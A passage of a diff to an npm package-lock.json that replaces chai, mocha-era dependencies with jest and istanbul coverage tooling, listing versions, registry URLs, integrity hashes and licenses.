} - ], - "license": "CC-BY-4.0" + "license": "ISC" }, - "node_modules/chai": { - "version": "4.3.10", - "resolved": "https://registry.npmjs.org/chai/-/chai-4.3.10.tgz", - "integrity": "sha512-0UXG04VuVbruMUYbJ6JctvH0YnC/4q3/AkT18q4NaITo91CUm0liMS9VqzT9vZhVQ/1eqPanMWjBM+Juhfb/9g==", + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", "dev": true, - "dependencies": { - "assertion-error": "^1.1.0", - "check-error": "^1.0.3", - "deep-eql": "^4.1.3", - "get-func-name": "^2.0.2", - "loupe": "^2.3.6", - "pathval": "^1.1.1", - "type-detect": "^4.0.8" - }, "engines": { - "node": ">=4" + "node": ">=8" } }, - "node_modules/chai-snapshot-tests": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/chai-snapshot-tests/-/chai-snapshot-tests-0.6.0.tgz", - "integrity": "sha512-Hn1MltIJG+dYPyOVnuFIAu0ko5KMoS7pXSQCTJLACY08fxVmJt6ASNCVDfqKzzzHVlexJlXxKpCjnOa8Dxx1MA==", + "node_modules/html-escaper": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz", + "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==", "dev": true, - "license": "MIT", - "dependencies": { - "@types/chai": "^4.0.0", - "@types/mkdirp": "^0.3.29", - "@types/node": "^7.0.29", - "chai": "^4.0.2", - "mkdirp": "^0.5.1", - "nicer-fs": "^1.1.0" - } + "license": "MIT" }, - "node_modules/chai-snapshot-tests/node_modules/@types/node": { - "version": "7.10.14", - "resolved": "https://registry.npmjs.org/@types/node/-/node-7.10.14.tgz", - "integrity": "sha512-29GS75BE8asnTno3yB6ubOJOO0FboExEqNJy4bpz0GSmW/8wPTNL4h9h63c6s1uTrOopCmJYe/4yJLh5r92ZUA==", + "node_modules/human-signals": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz", + "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==", "dev": true, - "license": "MIT" + "license": "Apache-2.0", + "engines": { + "node": ">=10.17.0" + } }, - "node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "node_modules/ignore": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.0.tgz", + "integrity": "sha512-CmxgYGiEPCLhfLnpPp1MoRmifwEIOgjcHXxOBjv7mY96c+eWScsOP9c112ZyLdWHi0FxHjI+4uVhKYp/gcdRmQ==", + "engines": { + "node": ">= 4" + } + }, + "node_modules/import-local": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.2.0.tgz", + "integrity": "sha512-2SPlun1JUPWoM6t3F0dw0FkCF/jWY8kttcY4f599GLTSjh2OCuuhdTkJQsEcZzBqbXZGKMK2OqW1oZsjtf/gQA==", "dev": true, + "license": "MIT", "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" + "pkg-dir": "^4.2.0", + "resolve-cwd": "^3.0.0" + }, + "bin": { + "import-local-fixture": "fixtures/cli.js" }, "engines": { - "node": ">=10" + "node": ">=8" }, "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" + "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/check-error": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/check-error/-/check-error-1.0.3.tgz", - "integrity": "sha512-iKEoDYaRmd1mxM90a2OEfWhjsjPpYPuQ+lMYsoxB126+t8fw7ySEO48nmDg5COTjxDI65/Y2OWpeEHk3ZOe8zg==", + "node_modules/import-local/node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", "dev": true, + "license": "MIT", "dependencies": { - "get-func-name": "^2.0.2" + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" }, "engines": { - "node": "*" + "node": ">=8" } }, - "node_modules/chokidar": { - "version": "3.5.3", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", - "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "node_modules/import-local/node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", "dev": true, - "funding": [ - { - "type": "individual", - "url": "https://paulmillr.com/funding/" - } - ], + "license": "MIT", "dependencies": { - "anymatch": "~3.1.2", - "braces": "~3.0.2", - "glob-parent": "~5.1.2", - "is-binary-path": "~2.1.0", - "is-glob": "~4.0.1", - "normalize-path": "~3.0.0", - "readdirp": "~3.6.0" + "p-locate": "^4.1.0" }, "engines": { - "node": ">= 8.10.0" - }, - "optionalDependencies": { - "fsevents": "~2.3.2" - } - }, - "node_modules/cliui": { - "version": "7.0.4", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", - "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", - "dev": true, - "dependencies": { - "string-width": "^4.2.0", - "strip-ansi": "^6.0.0", - "wrap-ansi": "^7.0.0" + "node": ">=8" } }, - "node_modules/clone-deep": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-4.0.1.tgz", - "integrity": "sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ==", + "node_modules/import-local/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", "dev": true, "license": "MIT", "dependencies": { - "is-plain-object": "^2.0.4", - "kind-of": "^6.0.2", - "shallow-clone": "^3.0.0" + "p-try": "^2.0.0" }, "engines": { "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/clone-deep/node_modules/is-plain-object": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", - "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", + "node_modules/import-local/node_modules/p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", "dev": true, "license": "MIT", "dependencies": { - "isobject": "^3.0.1" + "p-limit": "^2.2.0" }, "engines": { - "node": ">=0.10.0" + "node": ">=8" } }, - "node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "node_modules/import-local/node_modules/pkg-dir": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", + "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", "dev": true, + "license": "MIT", "dependencies": { - "color-name": "~1.1.4" + "find-up": "^4.0.0" }, "engines": { - "node": ">=7.0.0" + "node": ">=8" } }, - "node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "node_modules/combined-stream": { - "version": "1.0.8", - "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", - "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", - "dependencies": { - "delayed-stream": "~1.0.0" - }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "dev": true, + "license": "MIT", "engines": { - "node": ">= 0.8" + "node": ">=0.8.19" } }, - "node_modules/commondir": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", - "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==", + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.", "dev": true, - "license": "MIT" + "license": "ISC", + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } }, - "node_modules/concat-map": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", "dev": true, - "license": "MIT" + "license": "ISC" }, - "node_modules/convert-source-map": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", - "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", + "node_modules/is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==", "dev": true, "license": "MIT" }, - "node_modules/create-require": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/create-require/-/create-require-1.1.1.tgz", - "integrity": "sha512-dcKFX3jn0MpIaXjisoRvexIJVEKzaq7z2rZKxf+MSr9TkdmHmsU4m2lcLojrj/FHl8mk5VxMmYA+ftRkP/3oKQ==", - "dev": true + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", + "engines": { + "node": ">=0.10.0" + } }, - "node_modules/cross-spawn": { - "version": "7.0.6", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", - "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", "dev": true, - "dependencies": { - "path-key": "^3.1.0", - "shebang-command": "^2.0.0", - "which": "^2.0.1" - }, "engines": { - "node": ">= 8" + "node": ">=8" } }, - "node_modules/debug": { - "version": "4.3.7", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz", - "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==", + "node_modules/is-generator-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-generator-fn/-/is-generator-fn-2.1.0.tgz", + "integrity": "sha512-cTIB4yPYL/Grw0EaSzASzg6bBy9gqCofvWN8okThAYIxKJZC+udlRAmGbM0XLeniEJSs8uEgHPGuHSe1XsOLSQ==", "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", "dependencies": { - "ms": "^2.1.3" + "is-extglob": "^2.1.1" }, "engines": { - "node": ">=6.0" - }, - "peerDependenciesMeta": { - "supports-color": { - "optional": true - } + "node": ">=0.10.0" } }, - "node_modules/decamelize": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-4.0.0.tgz", - "integrity": "sha512-9iE1PgSik9HeIIw2JO94IidnE3eBoQrFJ3w7sFuzSX4DpmZ3v5sZpUiV5Swcf6mQEF+Y0ru8Neo+p+nyh2J+hQ==", + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", "dev": true, + "license": "MIT", "engines": { - "node": ">=10" + "node": ">=8" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/deep-eql": { - "version": "4.1.3", - "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-4.1.3.tgz", - "integrity": "sha512-WaEtAOpRA1MQ0eohqZjpGD8zdI0Ovsm8mmFhaDN8dvDZzyoUMcYDnf5Y6iu7HTXxf8JDS23qWa4a+hKCDyOPzw==", - "dev": true, - "dependencies": { - "type-detect": "^4.0.0" - }, - "engines": { - "node": ">=6" - } + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true }, - "node_modules/delayed-stream": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", - "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "node_modules/isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==", + "dev": true, + "license": "MIT", "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/deprecation": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/deprecation/-/deprecation-2.3.1.tgz", - "integrity": "sha512-xmHIy4F3scKVwMsQ4WnVaS8bHOx0DmVwRywosKhaILI0ywMDWPtBSku2HNxRvF7jtwDRsoEwYQSfbxj8b7RlJQ==" + "node": ">=0.10.0" + } }, - "node_modules/diff": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/diff/-/diff-5.2.0.tgz", - "integrity": "sha512-uIFDxqpRZGZ6ThOk84hEfqWoHx2devRFvpTZcTHur85vImfaxUbTW9Ryh4CpCuDnToOP1CEtXKIgytHBPVff5A==", + "node_modules/istanbul-lib-coverage": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.2.tgz", + "integrity": "sha512-O8dpsF+r0WV/8MNRKfnmrtCWhuKjxrq2w+jpzBL5UZKTi2LeVWnWOmWRxFlesJONmc+wLAGvKQZEOanko0LFTg==", "dev": true, + "license": "BSD-3-Clause", "engines": { - "node": ">=0.3.1" + "node": ">=8" } }, - "node_modules/dir-glob": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", - "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", + "node_modules/istanbul-lib-instrument": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-6.0.3.tgz", + "integrity": "sha512-Vtgk7L/R2JHyyGW07spoFlB8/lpjiOLTjMdms6AFMraYt3BaJauod/NGrfnVG/y4Ix1JEuMRPDPEj2ua+zz1/Q==", + "dev": true, + "license": "BSD-3-Clause", "dependencies": { - "path-type": "^4.0.0" + "@babel/core": "^7.23.9", + "@babel/parser": "^7.23.9", + "@istanbuljs/schema": "^0.1.3", + "istanbul-lib-coverage": "^3.2.0", + "semver": "^7.5.4" }, "engines": { - "node": ">=8" + "node": ">=10" } }, - "node_modules/eastasianwidth": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz", - "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==", - "dev": true - }, - "node_modules/electron-to-chromium": { - "version": "1.5.114", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.114.tgz", - "integrity": "sha512-DFptFef3iktoKlFQK/afbo274/XNWD00Am0xa7M8FZUepHlHT8PEuiNBoRfFHbH1okqN58AlhbJ4QTkcnXorjA==", + "node_modules/istanbul-lib-instrument/node_modules/semver": { + "version": "7.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.2.tgz", + "integrity": "sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==", "dev": true, - "license": "ISC" - }, - "node_modules/emoji-regex": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - "dev": true + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } }, - "node_modules/escalade": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", - "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "node_modules/istanbul-lib-report": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz", + "integrity": "sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==", "dev": true, - "license": "MIT", + "license": "BSD-3-Clause", + "dependencies": { + "istanbul-lib-coverage": "^3.0.0", + "make-dir": "^4.0.0", + "supports-color": "^7.1.0" + }, "engines": { - "node": ">=6" + "node": ">=10" } }, - "node_modules/escape-string-regexp": { + "node_modules/istanbul-lib-report/node_modules/make-dir": { "version": "4.0.0", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", - "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz", + "integrity": "sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==", "dev": true, + "license": "MIT", + "dependencies": { + "semver": "^7.5.3" + }, "engines": { "node": ">=10" }, @@ -1637,444 +3578,753 @@ "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/esprima": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", - "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "node_modules/istanbul-lib-report/node_modules/semver": { + "version": "7.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.2.tgz", + "integrity": "sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==", "dev": true, - "license": "BSD-2-Clause", + "license": "ISC", "bin": { - "esparse": "bin/esparse.js", - "esvalidate": "bin/esvalidate.js" + "semver": "bin/semver.js" }, "engines": { - "node": ">=4" + "node": ">=10" } }, - "node_modules/fast-glob": { - "version": "3.2.11", - "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.11.tgz", - "integrity": "sha512-xrO3+1bxSo3ZVHAnqzyuewYT6aMFHRAd4Kcs92MAonjwQZLsK9d0SF1IyQ3k5PoirxTW0Oe/RqFgMQ6TcNE5Ew==", + "node_modules/istanbul-lib-source-maps": { + "version": "5.0.6", + "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-5.0.6.tgz", + "integrity": "sha512-yg2d+Em4KizZC5niWhQaIomgf5WlL4vOOjZ5xGCmF8SnPE/mDWWXgvRExdcpCgh9lLRRa1/fSYp2ymmbJ1pI+A==", + "dev": true, + "license": "BSD-3-Clause", "dependencies": { - "@nodelib/fs.stat": "^2.0.2", - "@nodelib/fs.walk": "^1.2.3", - "glob-parent": "^5.1.2", - "merge2": "^1.3.0", - "micromatch": "^4.0.4" + "@jridgewell/trace-mapping": "^0.3.23", + "debug": "^4.1.1", + "istanbul-lib-coverage": "^3.0.0" }, "engines": { - "node": ">=8.6.0" + "node": ">=10" } }, - "node_modules/fastq": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.13.0.tgz", - "integrity": "sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw==", + "node_modules/istanbul-lib-source-maps/node_modules/@jridgewell/trace-mapping": { + "version": "0.3.29", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.29.tgz", + "integrity": "sha512-uw6guiW/gcAGPDhLmd77/6lW8QLeiV5RUTsAX46Db6oLhGaVj4lhnPwb184s1bkc8kdVg/+h988dro8GRDpmYQ==", + "dev": true, + "license": "MIT", "dependencies": { - "reusify": "^1.0.4" + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" } }, - "node_modules/fill-range": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", - "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", + "node_modules/istanbul-reports": { + "version": "3.1.7", + "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.7.tgz", + "integrity": "sha512-BewmUXImeuRk2YY0PVbxgKAysvhRPUQE0h5QRM++nVWyubKGV0l8qQ5op8+B2DOmwSe63Jivj0BjkPQVf8fP5g==", + "dev": true, + "license": "BSD-3-Clause", "dependencies": { - "to-regex-range": "^5.0.1" + "html-escaper": "^2.0.0", + "istanbul-lib-report": "^3.0.0" }, "engines": { "node": ">=8" } }, - "node_modules/find-cache-dir": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-2.1.0.tgz", - "integrity": "sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ==", + "node_modules/jackspeak": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-3.4.3.tgz", + "integrity": "sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==", "dev": true, - "license": "MIT", "dependencies": { - "commondir": "^1.0.1", - "make-dir": "^2.0.0", - "pkg-dir": "^3.0.0" + "@isaacs/cliui": "^8.0.2" }, - "engines": { - "node": ">=6" + "funding": { + "url": "https://github.com/sponsors/isaacs" + }, + "optionalDependencies": { + "@pkgjs/parseargs": "^0.11.0" } }, - "node_modules/find-up": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", - "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "node_modules/jake": { + "version": "10.9.2", + "resolved": "https://registry.npmjs.org/jake/-/jake-10.9.2.tgz", + "integrity": "sha512-2P4SQ0HrLQ+fw6llpLnOaGAvN2Zu6778SJMrCUwns4fOoG9ayrTiZk3VV8sCPkVZF8ab0zksVpS8FDY5pRCNBA==", "dev": true, + "license": "Apache-2.0", "dependencies": { - "locate-path": "^6.0.0", - "path-exists": "^4.0.0" + "async": "^3.2.3", + "chalk": "^4.0.2", + "filelist": "^1.0.4", + "minimatch": "^3.1.2" + }, + "bin": { + "jake": "bin/cli.js" }, "engines": { "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/flat": { - "version": "5.0.2", - "resolved": "https://registry.npmjs.org/flat/-/flat-5.0.2.tgz", - "integrity": "sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ==", + "node_modules/jake/node_modules/brace-expansion": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", + "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", "dev": true, - "bin": { - "flat": "cli.js" + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" } }, - "node_modules/flow-parser": { - "version": "0.263.0", - "resolved": 